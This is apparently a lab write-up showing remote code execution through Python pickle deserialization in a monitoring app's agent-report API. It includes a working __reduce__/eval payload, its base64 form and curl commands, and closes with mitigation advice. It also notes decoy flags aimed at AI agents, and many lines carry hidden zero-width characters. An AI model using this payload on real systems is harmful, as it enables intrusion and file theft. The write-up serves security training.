← Back to Writeups
CUSTOMMediumWeb

Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API

XESXOR9/10/20264 min read
#web#custom#medium#api_key_authentication#base64_payload_encoding#decoy_flag_avoidance#pickle_deserialization_rce#reduce_method_exploitation#linux

Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: api_key_authentication, base64_payload_encoding, decoy_flag_avoidance, pickle_deserialization_rce, reduce_method_exploitation

Summary

Task: Server monitoring platform with Agent Report API that deserializes base64-encoded pickle data from report_data field. Decoy flags in HTML comments. Solution: Craft malicious pickle payload using reduce method to execute arbitrary commands, base64-encode it, and send via POST /api/agent-report to achieve RCE and read /root/flag.txt.

Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API

Description

PulseMetric is a server monitoring platform by Metric Labs Inc. that collects metrics from distributed monitoring agents deployed across your infrastructure. The platform provides real-time dashboards, customizable alert rules, and historical analytics.

Monitoring agents periodically submit telemetry data to the central PulseMetric server through an API endpoint. The dashboard displays aggregate CPU, memory, and disk usage across all registered agents, with detailed per-agent views including raw telemetry report data.

Investigate how the platform handles incoming agent data and find a way to retrieve the flag stored on the server.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based server monitoring platform where agents submit telemetry via an API. The report_data field accepts base64-encoded pickle data that gets deserialized server-side without validation, enabling Remote Code Execution.

Analysis

Reconnaissance

The application is a Flask/Python web app identified as "PulseMetric v3.2.0". After logging in with provided credentials (user@test.com / password123), the following pages are accessible:

  • Dashboard (/dashboard) — aggregate metrics from monitoring agents
  • Agents — list of registered monitoring agents with telemetry data
  • Alerts — customizable alert rules
  • Settings (/settings) — API documentation and API key ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy Flags

HTML comments contain FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — these are honeypot flags designed to mislead automated scanners and AI agents. The real flag is stored on the filesystem.

API Discovery

The /settings page reveals API documentation for the Agent Report endpoint:

  • Endpoint: POST /api/agent-report
  • API Key: pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6
  • Authentication: X-API-Key header
  • Critical detail: "Reports are serialized using Python's native serialization format and transmitted as base64-encoded payloads" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The report_data field contains base64-encoded pickle data that the server deserializes using pickle.loads().

Vulnerability Identification

Python's pickle module is inherently unsafe for deserializing untrusted data. The __reduce__ method allows specifying an arbitrary callable with arguments that gets executed during deserialization. This is a well-known RCE vector.

The server:

  1. Receives JSON with agent_id and report_data fields
  2. Base64-decodes the report_data value
  3. Calls pickle.loads() on the decoded bytes
  4. Stores the deserialized result as the agent's telemetry report ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Create Malicious Pickle Payload

python
#!/usr/bin/env python3
import pickle
import base64

class RCE:
    def __reduce__(self):
        return (eval, ("__import__('subprocess').check_output(['cat', '/root/flag.txt']).decode()",))

payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded)
# Output: gAWVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxJX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKZSFlFKULg==

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The __reduce__ method returns a tuple of (callable, args). When pickle deserializes this object, it calls eval("__import__('subprocess').check_output(['cat', '/root/flag.txt']).decode()"), executing our command.

Step 2: Verify RCE with Directory Listing

First, test with ls -la / to confirm code execution:

bash
# Generate payload for: ls -la /
python3 -c "
import pickle, base64
class RCE:
    def __reduce__(self):
        return (eval, (\"__import__('subprocess').check_output(['ls', '-la', '/']).decode()\",))
print(base64.b64encode(pickle.dumps(RCE())).decode())
"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Send the payload:

bash
curl -s -X POST "$URL/api/agent-report" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6" \
  -d '{"agent_id": 1, "report_data": "<base64_payload>"}'

The response contains directory listing in report_summary field, confirming RCE.

Step 3: Locate and Read the Flag

Exploration revealed /app directory with ANALYST_RESULT.json indicating flag location: /root/flag.txt

Final exploit to read the flag:

bash
curl -s -X POST "$URL/api/agent-report" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6" \
  -d '{"agent_id": 1, "report_data": "gAWVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxJX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKZSFlFKULg=="}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

json
{
  "status": "success",
  "agent_id": 1,
  "report_summary": "FLAG{REDACTED}\n"
}

Mitigation

  1. Never use pickle with untrusted input — use JSON, MessagePack, or Protocol Buffers instead
  2. If pickle is required, use hmac to sign serialized data and verify before deserializing
  3. Implement allowlist-based deserialization with RestrictedUnpickler
  4. Run the application with minimal privileges (not as root)
  5. Use containerization with read-only filesystems where possible ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍